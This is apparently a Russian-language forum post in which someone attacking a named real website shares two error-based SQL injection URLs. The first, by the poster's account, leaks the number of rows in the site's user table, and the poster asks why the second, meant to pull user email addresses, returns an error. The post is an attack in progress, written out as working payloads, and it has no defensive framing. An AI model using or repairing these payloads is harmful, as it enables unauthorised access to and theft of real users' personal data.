вот такая проблема:

http://www.uk121.com/events_view.php?eid=%28select+table_name+from+%28s elect+count%280%20%29,concat%28%28select%20count%2 8*%29%20from%20user%29,floor%28rand%280%29*2%29%29 +from%20+information_schema.tables+group+by+2+limi t+1%29a%29

выдает количество юзеров в таблице user

Message: Can't execute query: Duplicate entry '17661' for key 1

но вот при выводе полей пишет ошибку:

http://www.uk121.com/events_view.php?eid=%28select+table_name+from+%28s elect+count%280%20%29,concat%28%28select%20mail%20 from%20user+limit+1,1%29,floor%28rand%280%29*2%29% 29+from%20+information_schema.tables+group+by+2+li mit+1%29a%29

Message: Can't execute query: Unknown column 'table_name' in 'field list'

в чем может быть проблема?